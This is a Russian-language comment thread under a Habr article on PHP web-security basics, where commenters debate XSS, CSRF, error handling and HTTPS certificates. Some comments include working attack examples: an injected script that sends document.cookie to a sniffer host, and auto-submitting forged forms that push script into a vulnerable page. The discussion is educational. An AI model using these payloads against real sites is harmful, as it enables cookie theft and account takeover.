Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
Хабр доступен 24/7 благодаря поддержке друзей
Комментарии 194
Спасибо. Было полезно иметь это в системном виде.
Спасибо за статью, но у меня такой вопрос:
— Как пользователь может удалить таблицу если он не знает имя таблицы?
— Как пользователь может удалить таблицу если он не знает имя таблицы?
Попробует несколько разных вариантов и угадает
точнее не угадаю, а узнаю :)
Дело в том что взломщику придется протестировать весь сайт, чтобы найти уязвимость, где ему будет выведена ошибка при обращении к базе данных (там же имя и таблицы).
Дело в том что взломщику придется протестировать весь сайт, чтобы найти уязвимость, где ему будет выведена ошибка при обращении к базе данных (там же имя и таблицы).
П.С. В таком случае взломщик выступает еще + как и тестер :) *вот только он нам не скажет где ошибку нашел *
Вы не поверите, но в большинстве случаев, сначала, приходится угадывать, если конечно нет явных ошибок с выводом sql-запроса на страницу. Много веб-мастеров особо не задумываются над названиями таблиц (и в этом их большая ошибка), а используют «общепринятые нормы» типа — users, news, anons, articles...etc
А если есть права (у пользователя БД) на show tables; то таблицы злоумышленник увидит списком.
Ничего не мешает посмотреть названия таблиц в information_schema
Самый верный ответ! Если есть какая-либо дыра в обычном селекте, очень просто посмотреть все табилцы и их колонки через UNION SELECT из information_schema, и она доступна вроде как по дефолту. А «show tables», упомянутый выше, ну уж очень жирная дыра должна быть, чтобы выполнить такой вкусный запрос.
А как бы вы назвали таблицу пользователей?
Такой вывод ошибок можно отключить.
Но наверное все-таки это уже лучше сделать с помощью PHP.ini (display_errors = Оff), чем с помощью самого PHP.
Простите за ламерство, просто пока есть возможность хотелось бы узнать некоторые подробности.
Простите за ламерство, просто пока есть возможность хотелось бы узнать некоторые подробности.
Вы зря извиняетесь — тут же не звери;) А Хабр одно из немногих мест, где можно чему-то научиться на живом опыте. К тому же, характер топика учебный.
Конечно такой способ лучше, но к сожалению не на всех хостингах у пользователя есть возможность править его, поэтому лучше держать на готове способ с отключением вывода прямо в коде
Можно через .htaccess
и подобные…
php_flag display_errors offи подобные…
есть решения на уровне фреймворков, например в симфонии дев по умолчанию поддерживает вывод ошибок, а в релизе он выключен, только логируется все.
Неплохой обзор, но:
— В обзоре нет php-инъекций.
— Авторизация через сторонний сервис имеет обратную сторону — если взламывают аккаунт на стороннем сервисе, то получают доступ к аккаунту на вашем сервисе.
— Если кто-то получит доступ ко всему серверу, то он явно не будет стремиться подделать переменные сессии. Вы, наверно, имели в виду доступ к каталогу для хранения сессий.
— Половина приведённых проблем решается фильтрацией входящих данных по белому списку. Хоть бы слово про это сказали.
— В обзоре нет php-инъекций.
— Авторизация через сторонний сервис имеет обратную сторону — если взламывают аккаунт на стороннем сервисе, то получают доступ к аккаунту на вашем сервисе.
— Если кто-то получит доступ ко всему серверу, то он явно не будет стремиться подделать переменные сессии. Вы, наверно, имели в виду доступ к каталогу для хранения сессий.
— Половина приведённых проблем решается фильтрацией входящих данных по белому списку. Хоть бы слово про это сказали.
Спасибо за критику. Подскажите что есть php-инъекции.
Насчет взлома стороннего сервиса мысль правильная, но шансов, что взломают фейсбук или твиттер значительно меньше.
Про переменные сессии сформулирую поточнее.
Собственно фильтрация входящих данных и есть основная защита, просто там много еще получается дополнительного материала. Хотелось сделать акцент именно на том, от чего защищаемся.
Насчет взлома стороннего сервиса мысль правильная, но шансов, что взломают фейсбук или твиттер значительно меньше.
Про переменные сессии сформулирую поточнее.
Собственно фильтрация входящих данных и есть основная защита, просто там много еще получается дополнительного материала. Хотелось сделать акцент именно на том, от чего защищаемся.
Спасибо за замечательный обзор! Для новичков — то что надо.
Все логично и давно известно, спасибо что еще раз напомнили.
Но стоит помнить еще не менее важную вещь написанную в большинстве книг по информационной безопасности.
Данные имеет смысл защищать когда стоимость защиты меньше стоимости потери данных, поэтому часть пунктов неэффективна для большинства проектов. В частности пункты 3,6,7.
Но стоит помнить еще не менее важную вещь написанную в большинстве книг по информационной безопасности.
Данные имеет смысл защищать когда стоимость защиты меньше стоимости потери данных, поэтому часть пунктов неэффективна для большинства проектов. В частности пункты 3,6,7.
echo("You typed this:");
echo($_POST['myText']);А что вредоносного может сделать этот код?
$_POST['myText'] = '<script>alert("Hello!");</script>';Так яснее?
И что? Я сам себе выведу алерт?
Можно на другом ресурсе разместить форму, безобидную на вид, но ворущую куки.
Отдадите куки как минимум.
Пример действительно неудачный, если бы вместо POST был GET, то вред был бы очевиден.
Но даже в случае POST можно украсть куки у недалёких людей — во вконтакте когда-то была аналогичная уязвимость (может и сейчас осталась). Суть вишмастера приблизительно такова: жертвам рассылалось сообщение, в котором предлагалось скопировать «волшебную строку», если не ошибаюсь, в поле поиска, после чего они якобы должны были получить доступ к закрытым фоткам или ещё куда-то. Естественно, волшебная строка представляла из себя обфусцированный js, который отправлял ваши куки куда следует. Так что даже давать возможность самому себе выводить алерт — нежелательно.
Но даже в случае POST можно украсть куки у недалёких людей — во вконтакте когда-то была аналогичная уязвимость (может и сейчас осталась). Суть вишмастера приблизительно такова: жертвам рассылалось сообщение, в котором предлагалось скопировать «волшебную строку», если не ошибаюсь, в поле поиска, после чего они якобы должны были получить доступ к закрытым фоткам или ещё куда-то. Естественно, волшебная строка представляла из себя обфусцированный js, который отправлял ваши куки куда следует. Так что даже давать возможность самому себе выводить алерт — нежелательно.
создать страничку с яваскриптом
<form action=«yourscript.php» method=post>
Введите ваше имя, чтобы получить анекдот про себя: <input type=«text» name=«username»>
<input type=«hidden» name=«myText» value="<script>document.alert(«blah»);<script>">
</form>
Введите ваше имя, чтобы получить анекдот про себя: <input type=«text» name=«username»>
<input type=«hidden» name=«myText» value="<script>document.alert(«blah»);<script>">
</form>
и как это взламывает сайт? или вообще кому-то вредит? может пример слишком примитивный?
Добавьте туда js, который будет брать куки и обращаться к какому-нибудь урлу вида foo.bar/foo?bar=js_var_with_cookies
Еще раз повторю — посмотрите пример.
В нем я ввожу текст в форму, которая у меня украдет куки и отправит мне на другой скрипт?
Зачем?
В нем я ввожу текст в форму, которая у меня украдет куки и отправит мне на другой скрипт?
Зачем?
Странно, что Вы не стали спорить, что зоны bar не существует. Это пример, представьте, что у Вас не фильтруются подписи на форуме или статусы или что-то еще.
В примере как раз не фильтруется строка поиска или что-то подобное. Вот если бы эта строка куда-то сохранялась, а выводилась уже другому пользователю, тогда — другое дело! Я о том, что пример примитивный слишком.
Ну тогда стоит начать с того, что все нормальные пацаны уже давно пишут на Python и привести кусок класса с декоратором, который фильтрует все, включая мат, грязные мыслишки и добрых котяток.
Парень дело говорит. Здесь явно видно что текст передался POST'ом и сразу же вывелся. Для новичка суть проблемы будет не понятна.
И что? Я могу заставить человека отправить эти пост-данные. Это всё-равно уязвимость.
В такомслучае заставляйте человека сразу отправлять пароль вам на емейл, чего уж там…
послать пост-запросом данные довольно легко, например делаете у себя на сайте форму, которой часто пользуются люди (ну, поиск), чтобы она выглядела 1в1 как форма поиска, но action ей ставите того скрипта, которому нужно послать данные, и в hidden полях записываете данные, которые нужно послать (например вредоносный JS который ворует кукисы)
тогда если человек что-то ищет на вашем сайте он отправляет постом данные на уязвимый сайт, у него выполняется вредоносный JS на сайте, подверженном этой уязвимости и злоумышленник получает ваши кукисы
Как заставить посетителя воспользоваться поиском это уже дело вашей фантазии, например если бы хабр был подвержен XSS уязвимости такого рода, то можно было бы в Q&A создать вопрос типа потестите как работает поиск и дать ссылку на свою форму, скорей всего многие бы попробовали и вы получили бы куки.
В общем заставить человека отправить пароль на e-mail — сложно
Заставить человека отправить произвольный post-запрос произвольному скрипту — довольно легко.
Вы часто смотрите куда ведет action в форме которую вы заполняете? :)
тогда если человек что-то ищет на вашем сайте он отправляет постом данные на уязвимый сайт, у него выполняется вредоносный JS на сайте, подверженном этой уязвимости и злоумышленник получает ваши кукисы
Как заставить посетителя воспользоваться поиском это уже дело вашей фантазии, например если бы хабр был подвержен XSS уязвимости такого рода, то можно было бы в Q&A создать вопрос типа потестите как работает поиск и дать ссылку на свою форму, скорей всего многие бы попробовали и вы получили бы куки.
В общем заставить человека отправить пароль на e-mail — сложно
Заставить человека отправить произвольный post-запрос произвольному скрипту — довольно легко.
Вы часто смотрите куда ведет action в форме которую вы заполняете? :)
Есть сайт (фейк), в нём прописан код который кидает нас на сайт от которого нужно получить доступ (и который имеет данную уязвимость), с опять таки скриптом который сохранит и передаст куки перешедшего пользователя туда куда надо.
Как-то так…
Как-то так…
см. мои замечания вокруг — введенный javascript никому, кроме вводившего, не показывается.
Пока javascript показывается вводившему, тем временем, отправляет злоумышленинку кукисы. Например, session_id, под которым злоумышленник может зайти от имени жертвы.
Ты кликаешь на короткий урл в твиттере, попадаешь на some-hacker-site.ru, в котором тебя джаваскриптом посылают через POST с параметрами comment="" на, скажем, хабрахабр, где, например, есть подобная уязвимость. В итоге, ты посылаешь все свои куки злоумышленнику, который с помощью них логинится на хабр под твоим логином и начинает писать глупые комментарии. Тебе ппц!
Ну почему же сразу Вам?
Вот же простейший пример:
Вот же простейший пример:
Простите, не вставилось.
Вот он:
Вот он:
<script>
img = new Image(); img.src = "http://sniffer.ru/image.png?"+document.cookie;
</script>
Если сообщение смогут увидеть другие пользователи — то тогда как раз на Вашем сниффере будут чужие куки.
Да, примеров полно можно написать, вот только
выдаст скрипт только вводившему. Обновите комментарии плиз.
echo("You typed this:");
echo($_POST['myText']);выдаст скрипт только вводившему. Обновите комментарии плиз.
Ну и отлично! Мы можем заставить пользователя ввести всё, что угодно с помощью фейкового сайта!
Пля, хрен с ним, меня все равно заминусовали и насрали в карму уже.
Посмотрите код еще 2 раза — какой вред может принести код
echo($_POST['myText']);
Создайте мне страницу с этим кодом и я вам отдам свои куки, блин.
Посмотрите код еще 2 раза — какой вред может принести код
echo($_POST['myText']);
Создайте мне страницу с этим кодом и я вам отдам свои куки, блин.
Господи, что же вы непонятливый то такой? У нас есть сайт mycoolsite.sx.
По ссылке mycoolsite.sx/index.php есть такой код:
Кто-то делает сайт i-am-hak.er/, где выкладывает такой код:
Заманивает наивного пользователя на свой, тот нажимает кнопку и запускает зловредный скрипт. Всё!
По ссылке mycoolsite.sx/index.php есть такой код:
<?php echo($_POST['myText']); ?>
Кто-то делает сайт i-am-hak.er/, где выкладывает такой код:
<form action="http://mycoolsite.sx/index.php" method="post">
<input type="hidden" name="myText" value="<script>alert('you are hacked')</script>" />
<input type="submit" value="Нажми, если хочешь посмотреть прикольную картинку" />
</form>
Заманивает наивного пользователя на свой, тот нажимает кнопку и запускает зловредный скрипт. Всё!
есть сайт hackersite.com и в нем есть такой HTML код:
Залогиненный на твоем сайте юзер почему-то зашел на сайт хакера (сокращенная ссылка в твиттере например) а сайт хакера с помощью приведенного кода автоматически отправляет POST запрос на твой глючный сайт. В результате куки уходят хакеру.
Гуглить по слову CSRF
<form method="post" target="http://your-buggy-site.com"> <input type="text" name="myText" value="<script>alert(document.cookies);</script>"/> </form> <script> document.forms[0].submit(); </script>
Залогиненный на твоем сайте юзер почему-то зашел на сайт хакера (сокращенная ссылка в твиттере например) а сайт хакера с помощью приведенного кода автоматически отправляет POST запрос на твой глючный сайт. В результате куки уходят хакеру.
Гуглить по слову CSRF
Про mysql_real_escape_string есть любопытное.
Вкратце: совсем правильно использовать ее вместе с mysql_client_encoding().
Вкратце: совсем правильно использовать ее вместе с mysql_client_encoding().
Данные между браузером и веб-сервером передаются в зашифрованном виде и не могут быть расшифрованы в случае перехвата сниффером.
Если только сниффер не стоит на компьютере пользователя.
Статья хорошая, но вот с этим я не согласен
Как минимум, сообщения об ошибках стоит отключить. В PHP это можно сделать вот так:
error_reporting(0);
@ini_set('display_errors', 0);
Зачем отключать генерацию сообщений об ошибках? Достаточно просто спрятать их от пользователя и перенаправить в лог-файл.
Теперь все ошибки, даже фатальные, будут доступны в стандартном error-log'е апача.
Как минимум, сообщения об ошибках стоит отключить. В PHP это можно сделать вот так:
error_reporting(0);
@ini_set('display_errors', 0);
Зачем отключать генерацию сообщений об ошибках? Достаточно просто спрятать их от пользователя и перенаправить в лог-файл.
error_reporting(E_ALL);
@ini_set("display_errors", 0);
@ini_set("log_errors", 1);Теперь все ошибки, даже фатальные, будут доступны в стандартном error-log'е апача.
оу, поддерживаю! написал тоже самое, но опоздал на пару минут :)
+100500. Как можно жить вообще без лога ошибок?
GoDaddy почему-то их (логи) отключает по умолчнию. Можно включить на какое-то время, типа для отладки.
GoDaddy скорее всего экономит ресурсы. В их масштабах это, наверное, оправдано…
Я к тому, что все их клиенты как-то живут без логов.
Да что ж меня никто сегодня не понимает-то!
Да что ж меня никто сегодня не понимает-то!
Я понял. GoDaddy хостит очень много сайтов на одной физической машине (ну я о стандартных тарифах), следовательно приходится минимализировать обращения к жесткому диску, так как вся система начнет тормозить если на сотни виртуальных серверов единовременно будет писаться лог.
Но это исключительный случай, как правило все же лучше писать логи.
Но это исключительный случай, как правило все же лучше писать логи.
4. Предотвращение скачивания пользовательских файлов по прямой ссылке
Добавил бы еще любовь некоторых переименовывать файлы в вид [id].jpg и складывать в одну папку.
Весь контент выкачивается набегом.
Обзор очень хорош, но по поводу 9го, а именно:
очень спорный вопрос, поскольку важно именно не отображать ошибки, а не игнорировать их вообще.
Поэтому ИМХО даже в самом простейшем случае уместнее было бы следующее:
чтобы в случае ошибок (чем черт не шутит — баги бывают у всех) складировать их в лог.
error_reporting(0);
ini_set('display_errors', 0);
очень спорный вопрос, поскольку важно именно не отображать ошибки, а не игнорировать их вообще.
Поэтому ИМХО даже в самом простейшем случае уместнее было бы следующее:
error_reporting(E_ALL ^ E_NOTICE);
ini_set('log_errors', 1);
ini_set('error_log', '/path/to/log/file.log');
ini_set('display_errors', 0);
чтобы в случае ошибок (чем черт не шутит — баги бывают у всех) складировать их в лог.
Странно, что не упомянуты HttpOnly куки, конечно защиту от XSS нужно делать в любом случае, но лишний раз перестраховаться и защитить куки пользователя все равно стоит.
Кстати, если речь идет о php, то к этому списку можно было бы добавить ещё пару пунктов, а именно:
1. «Правильные» настройки интерпритатора, а именно:
держать эти пункты всегда Off, и если и включать, то только в супер-экстренных случаях, когда задачу ну никак не решить другими способами.
а для особых параноиков задать директиву open_basedir и ограничить действия интерпритатора лишь определенными директориями.
2. Экранировать системные вызовы exec() / shell_exec() через функции: escapeshellcmd() и escapeshellarg()
3. Все загружаемые на сервер файлы, проверять на соотвествие типу, ненулевой размер и т.п., то есть проверять хотя бы следующие условия:
1. «Правильные» настройки интерпритатора, а именно:
register_globals = Off
allow_url_include = Off
держать эти пункты всегда Off, и если и включать, то только в супер-экстренных случаях, когда задачу ну никак не решить другими способами.
а для особых параноиков задать директиву open_basedir и ограничить действия интерпритатора лишь определенными директориями.
2. Экранировать системные вызовы exec() / shell_exec() через функции: escapeshellcmd() и escapeshellarg()
3. Все загружаемые на сервер файлы, проверять на соотвествие типу, ненулевой размер и т.п., то есть проверять хотя бы следующие условия:
1. $_FILES['file']['error'] === UPLOAD_ERR_OK
2. $_FILES[‘file’][‘size’] != 0
3. $_FILES[‘file’][‘tmp_name’] != ‘none’
4. is_uploaded_file($_FILES['file']['tmp_name'])
И вдогонку — в статье можно было бы ещё упомянуть о проблеме фиксации сессии, благодаря которой удаленный пользователь может внедриться в сессию целевого пользователя. И решение её на php, хотя бы через session_regenerate_id().
А что произойдет страшного, если будет пропущен файл с нулевым размером?
Простите, но зачем включать register_globals?
Я не могу придумать ни одной задачи, где оно б было так позарез необходимо.
Я не могу придумать ни одной задачи, где оно б было так позарез необходимо.
Да пофиг на register_globals. Если скрипт написан прямыми руками, то данные всё равно из GET, POST и т.д. берутся.
Все знают что нужно отключать register_globals, но никто не знает зачем
Если мы инициализируем все переменные в скрипте с какими-либо начальными значениями (а вы ведь так делаете?) и берем данные из массивов $_SESSION, $_POST, $_GET, какие проблемы могут возникнуть если оставить register_globals в on?
Так или иначе, в 5.3 register_globals уже Deprecated, а в 6.0 его вообще удалят.
Если мы инициализируем все переменные в скрипте с какими-либо начальными значениями (а вы ведь так делаете?) и берем данные из массивов $_SESSION, $_POST, $_GET, какие проблемы могут возникнуть если оставить register_globals в on?
Так или иначе, в 5.3 register_globals уже Deprecated, а в 6.0 его вообще удалят.
Одно дело когда берешь данные из массивов и контролируешь все входные данные, и совсем другое дело, когда автоматически создаются локальные переменные с параметрами, переданными в скрипт.
Никто не спорит, что в случае грамотно написанного кода пофик, используется ли register_globals или нет.
Но в общем случае при включенном параметре register_globals = On вероятность повления ошибки увеличивается, потому что кто ж его знает, где может эта локальная переменная всплыть и в каком контексте.
Никто не спорит, что в случае грамотно написанного кода пофик, используется ли register_globals или нет.
Но в общем случае при включенном параметре register_globals = On вероятность повления ошибки увеличивается, потому что кто ж его знает, где может эта локальная переменная всплыть и в каком контексте.
Во первых ставятся под удар все переменные, не инициализированные явно.
Во вторых ставиться под удар последовательность появления данных. К примеру что будет, если в сессии есть переменная test, в post есть переменная test и в гет есть переменная test, и в куках есть переменная $test. Какая из них окажется в $_REQUEST и в глобальной области видимости в случае register globals? Как много людей знает как настраивается последовательность сбора данных?
Во вторых ставиться под удар последовательность появления данных. К примеру что будет, если в сессии есть переменная test, в post есть переменная test и в гет есть переменная test, и в куках есть переменная $test. Какая из них окажется в $_REQUEST и в глобальной области видимости в случае register globals? Как много людей знает как настраивается последовательность сбора данных?
Ну вот я и сказал что если явно инициализировать все переменные и использовать массивы $_POST, $_GET и т.д. то никаких проблем не будет
Вообще, вы, конечно, правы, и я сразу отметил, что спорить о минусах register_globals = on бессмысленно потому что они известны и потому что весь этот механизм (register_globals) скоро уйдет в небытие.
Я говорю о том, что если на собеседовании например спросить, что нужно сделать чтобы обеспечить безопасность, большинство кандидатов опишут все, что сказано в статье + тоже скажут что нужно поставить register_globals = off, но если спросить чем потенциально опасен этот самый register_globals= on — большинство кандидатов не смогут ответить на этот вопрос.
Все знают что register_globals надо выключать, но мало кто знает — почему.
Вообще, вы, конечно, правы, и я сразу отметил, что спорить о минусах register_globals = on бессмысленно потому что они известны и потому что весь этот механизм (register_globals) скоро уйдет в небытие.
Я говорю о том, что если на собеседовании например спросить, что нужно сделать чтобы обеспечить безопасность, большинство кандидатов опишут все, что сказано в статье + тоже скажут что нужно поставить register_globals = off, но если спросить чем потенциально опасен этот самый register_globals= on — большинство кандидатов не смогут ответить на этот вопрос.
Все знают что register_globals надо выключать, но мало кто знает — почему.
Отлично! Уважаемый volinrok только что продемонстрировал уровень разработчика, который пару недель назад прочел статью «PHP за 30 минут».
Но, прежде чем критиковать, позвольте дать ссылку на *хороший* ресурс по данной тематике (XSS-уязвимости в Web): code.google.com/p/doctype/wiki/ArticlesXSS (в проекте doctype есть и другие интересные материалы).
Теперь критика.
> 1. Защита от SQL injection
Решается написанием своего класса-обертки для PDO, с целью добавления в него синтаксического сахара, получается примерно так (хотя это уже дело вкуса):
$dal->write('UPDATE ?table SET ?# =? WHERE ?# = ?', array('email', 'me@mail.ru', 'user_id', $userId), 'users');
> Лечится пропусканием ввода через htmlentities() непосредственно перед показом:
Это неправильно. Для данной цели предназаначеня ф-я htmlspecialchars(), а htmlentities превратит ваш исходный код в кашу из entities.
> 6. Шифрование и обфускация кода
Да, автору этой статьи стоит шифровать весь свой код, а то стыдно же будет. И вообще, сколько я не сталкивался с разработкой, всюду такую лапшу пишут, что ее и защищать не надо — никто в ней не разберется. шифрование не нужно.
> 7. Шифрование данных
Отлично! Мы храним пароль как в БД (в триггере), так и в коде (в SQL запросе)! лучше не придумать. А по теме — пишите нормальный код, ставьте 20 символьный пароль на ssh и никто вашу базу без физического доступа к серверу не украдет.
> Как минимум, сообщения об ошибках стоит отключить. В PHP это можно сделать вот так:
Это костыль. В PHP для этого есть php.ini
> Допустим у вас есть интернет магазин, в котором цена продукта берется из поля на форме. Поменяв значение поля, злоумышленник сможет купить товар по более низкой цене.
// мне даже добавить нечего
В общем, не читайте эту хрень :) Здоровее будете.
Но, прежде чем критиковать, позвольте дать ссылку на *хороший* ресурс по данной тематике (XSS-уязвимости в Web): code.google.com/p/doctype/wiki/ArticlesXSS (в проекте doctype есть и другие интересные материалы).
Теперь критика.
> 1. Защита от SQL injection
Решается написанием своего класса-обертки для PDO, с целью добавления в него синтаксического сахара, получается примерно так (хотя это уже дело вкуса):
$dal->write('UPDATE ?table SET ?# =? WHERE ?# = ?', array('email', 'me@mail.ru', 'user_id', $userId), 'users');
> Лечится пропусканием ввода через htmlentities() непосредственно перед показом:
Это неправильно. Для данной цели предназаначеня ф-я htmlspecialchars(), а htmlentities превратит ваш исходный код в кашу из entities.
> 6. Шифрование и обфускация кода
Да, автору этой статьи стоит шифровать весь свой код, а то стыдно же будет. И вообще, сколько я не сталкивался с разработкой, всюду такую лапшу пишут, что ее и защищать не надо — никто в ней не разберется. шифрование не нужно.
> 7. Шифрование данных
Отлично! Мы храним пароль как в БД (в триггере), так и в коде (в SQL запросе)! лучше не придумать. А по теме — пишите нормальный код, ставьте 20 символьный пароль на ssh и никто вашу базу без физического доступа к серверу не украдет.
> Как минимум, сообщения об ошибках стоит отключить. В PHP это можно сделать вот так:
Это костыль. В PHP для этого есть php.ini
> Допустим у вас есть интернет магазин, в котором цена продукта берется из поля на форме. Поменяв значение поля, злоумышленник сможет купить товар по более низкой цене.
// мне даже добавить нечего
В общем, не читайте эту хрень :) Здоровее будете.
6 пункт самый актуальный. Много раз сталкивался с тем что, скажем так, неопытные программиcты, а так же веб-студии, которые из них состояли шифровали свои проекты перед тем, как сдать заказчику. Якобы для сохранности кода от шаловливых ручек заказчика. Вряд ли они понимали насколько страшно их творение в виде кода, но, видимо, интуитивно им было стыдно :)
Заказчик должен быть исключительно одаренной личностью, чтобы после оплаты не получить исходный код.
А вот до оплаты использовать шифрование кода иногда имеет смысл — у заказчика будет меньше соблазна кинуть исполнителя.
Но главное преимущество шифрования кода в другом:
1. В шифрованный код невозможно незаметно внедрить чужой код. Например, некоторые трояны воруют пароли ftp и потом незаметно дописывают в файлы index.php какой-нибудь iframe или javascript. В случае с зашифрованным кодом это абсолютно исключено.
2. Если шифрованный код привязан к домену или ip-адресу (зависит от возможностей криптора), то его невозможно утащить и использовать на другом домене (сервере).
А вот до оплаты использовать шифрование кода иногда имеет смысл — у заказчика будет меньше соблазна кинуть исполнителя.
Но главное преимущество шифрования кода в другом:
1. В шифрованный код невозможно незаметно внедрить чужой код. Например, некоторые трояны воруют пароли ftp и потом незаметно дописывают в файлы index.php какой-нибудь iframe или javascript. В случае с зашифрованным кодом это абсолютно исключено.
2. Если шифрованный код привязан к домену или ip-адресу (зависит от возможностей криптора), то его невозможно утащить и использовать на другом домене (сервере).
> Отлично! Мы храним пароль как в БД (в триггере), так и в коде (в SQL запросе)!
Ага, особенно интересно выглядит то, что можно украсть зашифрованные данные, но нельзя украсть триггеры (с паролем-то). Пароль от данных уже в базе.
Ага, особенно интересно выглядит то, что можно украсть зашифрованные данные, но нельзя украсть триггеры (с паролем-то). Пароль от данных уже в базе.
За подсказку про триггер — спасибо, остальное — вам стоит научиться просто читать.
Самое главное правило — не доверяй никому, а в особенности — пользователю.
Остальное — следствия.
Остальное — следствия.
Пожалуйста, добавьте в пункт про HTTPS обязательность использования настоящих сертификатов. Да, получение нормального сертификата это даже не столько деньги, сколько бюрократическая тягомотина, но без нее все технические действия лишены смысла.
Из-за лени, непонимания принципов и интеллектуального скудоумия очень, очень многие считают, что https будет работать и с самоподписанными сертификатами. Подобное, к сожалению, встречается сплошь и рядом даже на сайтах небедных организаций.
Протокол HTTPS защищает от атак вида «человек посредине» (man-in-the-middle), когда чувствительные данные передаются по открытому каналу, к которому злоумышленник может теоретически получить физический доступ.
Краткий ликбез по SSL сертификатам.
Итак, организация генерирует пару ключей — публичный и приватный. Приватный прячется и никому не показывается. Открытый ключ и мета-информация (название организации, адрес веб-сайта, фио админа и т.п.) отправляются в сертифицирующую организацию (SA). Это называется запрос сертификата.
SA проверяет, что запрос пришел действительно от тех, кто указан в метаданных, и что они действительно числятся как владельцы домена. Если все закорючки в норме, открытый ключ вместе с метаданными подписывается секретным ключом SA. Этих самых SA в мире очень немного, их открытые ключи известны всем браузерам.
Когда браузер устанавливает HTTPS соединение, он сразу получает от сервера его сертификат. Зная открытый ключ SA, браузер проверяет цифровую подпись на сертификате. Дальше браузер шифрует свой ответ открытым ключом из сертификата. Расшифровать этот ответ сможет только тот, кто владеет соответствующим сертификату секретным ключом. Именно на этом держится вся защита HTTPS.
Если же сертификат самоподписанный, то тогда имеющий доступ к каналу передачи данных злоумышленник может сделать разрез канала и вставить в него прозрачный прокси-сервер. Этот сервер будет подсовывать жертвам свой собственный самоподписанный сертификат, и такие жертвы никак не смогут отличить этот поддельный сертификат от «как бы настоящего», и поверят злоумышленнику. Он расшифрует все данные, установит собственное соединение с атакуемым сервером и перенаправит их туда. Таким образом, у злоумышленника легким движением руки окажутся весь обмен информацией в расшифрованном виде. То есть все затраты на HTTPS, связанные с дорогостоящим шифрованием трафика, окажутся напрасными. Более того, атакованные даже не узнают о самом факте такой атаки до тех пор, пока злоумышленник не перейдет к активным действиям.
Самоподписанные сертификаты можно использовать, только если вы разворачиваете собственную инфраструктуру PKI и устанавливаете свой корневой сертификат у всех клиентов, например, в локальной сети организации. Ну или для целей тестирования. Но ни в коем случае — не для HTTPS на рабочем сайте.
Из-за лени, непонимания принципов и интеллектуального скудоумия очень, очень многие считают, что https будет работать и с самоподписанными сертификатами. Подобное, к сожалению, встречается сплошь и рядом даже на сайтах небедных организаций.
Протокол HTTPS защищает от атак вида «человек посредине» (man-in-the-middle), когда чувствительные данные передаются по открытому каналу, к которому злоумышленник может теоретически получить физический доступ.
Краткий ликбез по SSL сертификатам.
Итак, организация генерирует пару ключей — публичный и приватный. Приватный прячется и никому не показывается. Открытый ключ и мета-информация (название организации, адрес веб-сайта, фио админа и т.п.) отправляются в сертифицирующую организацию (SA). Это называется запрос сертификата.
SA проверяет, что запрос пришел действительно от тех, кто указан в метаданных, и что они действительно числятся как владельцы домена. Если все закорючки в норме, открытый ключ вместе с метаданными подписывается секретным ключом SA. Этих самых SA в мире очень немного, их открытые ключи известны всем браузерам.
Когда браузер устанавливает HTTPS соединение, он сразу получает от сервера его сертификат. Зная открытый ключ SA, браузер проверяет цифровую подпись на сертификате. Дальше браузер шифрует свой ответ открытым ключом из сертификата. Расшифровать этот ответ сможет только тот, кто владеет соответствующим сертификату секретным ключом. Именно на этом держится вся защита HTTPS.
Если же сертификат самоподписанный, то тогда имеющий доступ к каналу передачи данных злоумышленник может сделать разрез канала и вставить в него прозрачный прокси-сервер. Этот сервер будет подсовывать жертвам свой собственный самоподписанный сертификат, и такие жертвы никак не смогут отличить этот поддельный сертификат от «как бы настоящего», и поверят злоумышленнику. Он расшифрует все данные, установит собственное соединение с атакуемым сервером и перенаправит их туда. Таким образом, у злоумышленника легким движением руки окажутся весь обмен информацией в расшифрованном виде. То есть все затраты на HTTPS, связанные с дорогостоящим шифрованием трафика, окажутся напрасными. Более того, атакованные даже не узнают о самом факте такой атаки до тех пор, пока злоумышленник не перейдет к активным действиям.
Самоподписанные сертификаты можно использовать, только если вы разворачиваете собственную инфраструктуру PKI и устанавливаете свой корневой сертификат у всех клиентов, например, в локальной сети организации. Ну или для целей тестирования. Но ни в коем случае — не для HTTPS на рабочем сайте.
Кратко и доходчиво! Спасибо!
Статью дополню.
Честно говоря не встречал самоподписанных сертификатов на «настоящих» сайтах. Неужели на самом дел кто-то может такое делать?
Еще вопрос — браузер выдаст предупреждние в таком случае?
Честно говоря не встречал самоподписанных сертификатов на «настоящих» сайтах. Неужели на самом дел кто-то может такое делать?
Еще вопрос — браузер выдаст предупреждние в таком случае?
SA — это CA?
HTTPS нужен не везде. Зачем шифровать картинки и статику?
Вот как раз нет, или все HTTPS или все HTTP.
HTTPS не позволяет никаких внешних элементов, получаемых по http, это нарушение секьюрности. Ну, то есть технически конечно все сработает, но браузер будет грязно ругаться.
Сам факт обращения к картинке может говорить например о том, что пользователь посетил какую-то конкретную страницу; или это фото человека, которого вы «шифруете»; или какой-то объект имеет статус, который отображается этой картинкой. В-общем, это тоже канал утечки информации. Так что шифруется обязательно вообще все.
HTTPS не позволяет никаких внешних элементов, получаемых по http, это нарушение секьюрности. Ну, то есть технически конечно все сработает, но браузер будет грязно ругаться.
Сам факт обращения к картинке может говорить например о том, что пользователь посетил какую-то конкретную страницу; или это фото человека, которого вы «шифруете»; или какой-то объект имеет статус, который отображается этой картинкой. В-общем, это тоже канал утечки информации. Так что шифруется обязательно вообще все.
Пародонте, у меня закрытый ресурс, который показывает много контента с CDN, мне что, прикажете перекачивать его на свой сервак, а потом через HTTPS отдавать?!
Если вам действительно нужна секьюрность https — да. Либо просите ваш cdn отдавать свой контент через https. Либо поставьте у себя на сервере проксю https->http (это 15 строк на пыхыпы, гугл в помощь). Либо сделайте на https только вход и генерацию сеансовых ключей, а далее шифруйте что вам нужно сами и разбирайте на клиенте javascript-ом.
Ну так уж устроен https. Скажем, те же google maps и другие сервисы можно подключить по https, но это стоит уже больших денег.
Ну так уж устроен https. Скажем, те же google maps и другие сервисы можно подключить по https, но это стоит уже больших денег.
Но всё же, если у злоумышленника нет возможности врезаться в канал, но есть возможность его слушать, то разве HTTPS с самоподписанным сертификатом не лучше, чем голый HTTP?
Да, от прослушки без врезки https защитит даже с самоподписанным сертификатом.
Только таких ситуаций (когда слушать существенно легче, чем врезаться) достаточно мало, я так сходу даже не скажу. Открытый wifi, сниффинг своего сегмента ethernet… пожалуй все?
Снифать в своем сегменте локалки — идея плохая, обычно не гадят там, где спят. Сидеть в макдаке с ноутбуком и ловить лохов… ну не знаю, много имхо не выловишь. А все остальные варианты man-in-the-middle предполагают либо взлом маршрутизаторов, либо сговор с админами, либо физическую врезку в канал.
